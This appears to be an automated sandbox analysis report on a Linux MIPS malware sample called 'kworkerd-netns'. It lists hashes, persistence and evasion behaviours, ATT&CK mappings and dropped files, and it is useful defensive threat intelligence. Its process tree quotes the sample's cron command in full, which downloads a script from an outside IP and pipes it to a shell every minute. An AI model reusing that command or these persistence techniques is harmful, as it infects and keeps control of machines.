Analysis
- max time kernel
37s - max time network
39s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem - submitted
25/06/2026, 17:43
Behavioral task
behavioral1
Sample
kworkerd-netns
Resource
debian9-mipsbe-20260513-en
General
- Target kworkerd-netns
- Size 128KB
- Sample260625-wawdeady21
- SHA256 1010e0217b8d988721cfb0097cec8a6047edb9fe602e58124cef9e30c20d85df
- MD5 019edf383a054daaff02ac52c47bb1e8
- SHA1 c29246dc7bf9a68806e39c502fd500311f610383
- SHA512 d85ccdcb6e558ebfa98d1a85582a4d9e3fae4972e9fc2227e0079047c4ffe3ae7bcf3b4f99fea28fcde31caf392087ddfcc7a6ba2ca5f122c88bca4fdcdb5726
- SSDEEP 3072:q/FxazaXImjhfAYkL+MIPB5v2mJM+4/3WDzfHfaQeVZ:qK+ImdAP4v2d+4/3wHiQsZ
- TLSH T134D3123986471444DEE3E47B4AE8D6017F5A88EEB3376D9863A0444FC7439E932F249E
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Deletes itself 1 IoCs
pid Process 711 kworkerd-netns - Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog kworkerd-netns File opened for modification /dev/misc/watchdog kworkerd-netns - Creates/modifies Cron job 1 TTPs 2 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /var/spool/cron/crontabs/root kworkerd-netns File opened for modification /var/spool/cron/crontabs/tmp.hKiYoF crontab - Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp kworkerd-netns - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/redis-sentinel.service kworkerd-netns - Reads MAC address of network interface 2 TTPs 1 IoCs
Fetches the MAC address of active network interfaces. May be used to detect known values for hypervisors.
description ioc Process File opened for reading /sys/class/net/enp0s19/address kworkerd-netns - Changes its process name 1 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself redis-server redis-sentinel redis-cli rdb-check aof-rewrite 711 kworkerd-netns - Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo kworkerd-netns - Reads system network configuration 1 TTPs 1 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp kworkerd-netns - Enumerates kernel/hardware configuration 1 TTPs 3 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/class/net kworkerd-netns -
description ioc Process File opened for reading /proc/10/cmdline kworkerd-netns File opened for reading /proc/14/cmdline kworkerd-netns File opened for reading /proc/15/cmdline kworkerd-netns File opened for reading /proc/17/cmdline kworkerd-netns File opened for reading /proc/702/cmdline kworkerd-netns File opened for reading /proc/1/environ systemctl File opened for reading /proc/74/stat kworkerd-netns File opened for reading /proc/147/stat kworkerd-netns File opened for reading /proc/328/cmdline kworkerd-netns File opened for reading /proc/cmdline systemctl File opened for reading /proc/self/stat systemctl File opened for reading /proc/filesystems crontab File opened for reading /proc/374/fd kworkerd-netns File opened for reading /proc/327/stat kworkerd-netns File opened for reading /proc/7/cmdline kworkerd-netns File opened for reading /proc/filesystems systemctl File opened for reading /proc/2/fd kworkerd-netns File opened for reading /proc/13/cmdline kworkerd-netns File opened for reading /proc/16/cmdline kworkerd-netns File opened for reading /proc/19/cmdline kworkerd-netns File opened for reading /proc/filesystems systemctl File opened for reading /proc/117/fd kworkerd-netns File opened for reading /proc/71/stat kworkerd-netns File opened for reading /proc/80/stat kworkerd-netns File opened for reading /proc/424/stat kworkerd-netns File opened for reading /proc/77/cmdline kworkerd-netns File opened for reading /proc/150/cmdline kworkerd-netns File opened for reading /proc/71/fd kworkerd-netns File opened for reading /proc/328/fd kworkerd-netns File opened for reading /proc/76/stat kworkerd-netns File opened for reading /proc/11/cmdline kworkerd-netns File opened for reading /proc/15/fd kworkerd-netns File opened for reading /proc/37/stat kworkerd-netns File opened for reading /proc/118/stat kworkerd-netns File opened for reading /proc/330/stat kworkerd-netns File opened for reading /proc/803/stat kworkerd-netns File opened for reading /proc/18/cmdline kworkerd-netns File opened for reading /proc/375/cmdline kworkerd-netns File opened for reading /proc/653/cmdline kworkerd-netns File opened for reading /proc/703/cmdline kworkerd-netns File opened for reading /proc/18/fd kworkerd-netns File opened for reading /proc/4/stat kworkerd-netns File opened for reading /proc/20/stat kworkerd-netns File opened for reading /proc/333/stat kworkerd-netns File opened for reading /proc/36/cmdline kworkerd-netns File opened for reading /proc/671/stat kworkerd-netns File opened for reading /proc/702/stat kworkerd-netns File opened for reading /proc/710/stat kworkerd-netns File opened for reading /proc/374/cmdline kworkerd-netns File opened for reading /proc/424/cmdline kworkerd-netns File opened for reading /proc/697/cmdline kworkerd-netns File opened for reading /proc/13/fd kworkerd-netns File opened for reading /proc/147/fd kworkerd-netns File opened for reading /proc/22/stat kworkerd-netns File opened for reading /proc/72/stat kworkerd-netns File opened for reading /proc/81/stat kworkerd-netns File opened for reading /proc/9/cmdline kworkerd-netns File opened for reading /proc/166/cmdline kworkerd-netns File opened for reading /proc/325/cmdline kworkerd-netns File opened for reading /proc/6/fd kworkerd-netns File opened for reading /proc/36/stat kworkerd-netns File opened for reading /proc/246/stat kworkerd-netns File opened for reading /proc/799/cmdline kworkerd-netns File opened for reading /proc/147/cmdline kworkerd-netns - Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/.redis-server.pid kworkerd-netns
Processes
-
/tmp/kworkerd-netns/tmp/kworkerd-netns1⤵
- Deletes itself
- Modifies Watchdog functionality
- Creates/modifies Cron job
- Enumerates active TCP sockets
- Modifies systemd
- Reads MAC address of network interface
- Changes its process name
- Checks CPU configuration
- Reads system network configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
PID:706 -
/bin/shsh -c "/bin/systemctl daemon-reload 2>/dev/null"2⤵PID:717
-
/bin/systemctl/bin/systemctl daemon-reload3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:719
-
-
-
/bin/shsh -c "/bin/systemctl enable --now redis-sentinel.service 2>/dev/null"2⤵PID:749
-
/bin/systemctl/bin/systemctl enable --now redis-sentinel.service3⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:750
-
-
-
/bin/shsh -c "/usr/bin/crontab -l 2>/dev/null"2⤵PID:764
-
/usr/bin/crontab/usr/bin/crontab -l3⤵PID:765
-
-
-
/bin/shsh -c "/usr/bin/crontab - <<'ENDCRON' * * * * * /bin/sh -c 'kill -0 711 2>/dev/null && exit 0; (wget -qO- http://91.239.211.89/init.sh || curl -sL http://91.239.211.89/init.sh) | /bin/sh' > /dev/null 2>&1 ENDCRON"2⤵PID:766
-
/usr/bin/crontab/usr/bin/crontab -3⤵
- Creates/modifies Cron job
- Reads runtime system information
PID:767
-
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
1XDG Autostart Entries
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Defense Evasion
Impair Defenses
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/systemd/system/redis-sentinel.service
- Size 344B
- SHA256 714325ee5f38eb2cdc6252f19a9eb1a2e664246ed95c300df326050b18319e2f
- MD5 0dbad1f026299d5b5e90a076e2f88f00
- SHA1 a6850ef1474983e0b4cdea475de3b3a9bbaa3736
- SHA512 ade62c6be335a2bba96fb64ef2cff0173f59cebec1b35811f311a82aac4095792aac88725edd77232bb6a5b53e5648543a2465227e15f7b7343eed64371cc7a7
- TLSH T1C9E0C0A22B5300D38C0F1DB24EA3E7580400D34B6587F6BC5DE8388410E1B0E7038EB1
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.redis-server.pid
- Size 3B
- SHA256 2499d690642faa4da2a67b078236d1c031217f3c31cf2da2142c8e84e3d617f1
- MD5 6081594975a764c8e3a691fa2b3a321d
- SHA1 7919ae519f96a6645a5640c381f954df58d2d2d2
- SHA512 273b19c44ba05e8f785aeba7d113ab48bbc2fd26059280e079b068e5a1d5ddf259486e259a6a2645b61b3680f6d7fde9aaf534d91689b8988e38c80a31297a46
- MD5 SHA1 SHA512
- Path /var/spool/cron/crontabs/root
- Size 167B
- SHA256 7fabdcdd535a7911bdc79b0f8e1ec1675a584a70ab4a3aecc98472f4d8a03217
- MD5 373c7b80f7532fa99ac334d3d6049a65
- SHA1 24149c3ee00c776c0a67259721b599445c3b7d43
- SHA512 d2293d23dd64e7c541e0806f8cc06c7745ebeffcd4e142a28f45d1956cc1b606fdfc675d6a6fe10dcd41eb90e2623712c42aed5dfb5a543f64d6980650ea422e
- TLSH T1B2C012E4A4A75551AD06493C2274D67C500269BB7CF5F7A54C4D8884105C30E715CE20
- MD5 SHA1 SHA512 TLSH
- Path /var/spool/cron/crontabs/tmp.hKiYoF
- Size 342B
- SHA256 897d48a0b4e9cea4a8af73d8dfd9fd5685106d71340a4f87a068b90b8a348770
- MD5 a5a3e70cad02c8da2ba5d50fbc2ddac2
- SHA1 e35f86ada48f4bd81bf4eeb451cae2ac017e7fd7
- SHA512 cd42514450f959b6a254c5bead5bce84fe4e93eb993f31a944a7771703b0ed26e6dec2f8eb3a1c750af21e61a23e9b1fccbe5fe01d7750e9f5f9c275abdb9145
- TLSH T1BDE0C068BA635532AD050A1C23B9D23C5402A5BEA8AAFF61E88C4844001C30E77DCE30
- MD5 SHA1 SHA512 TLSH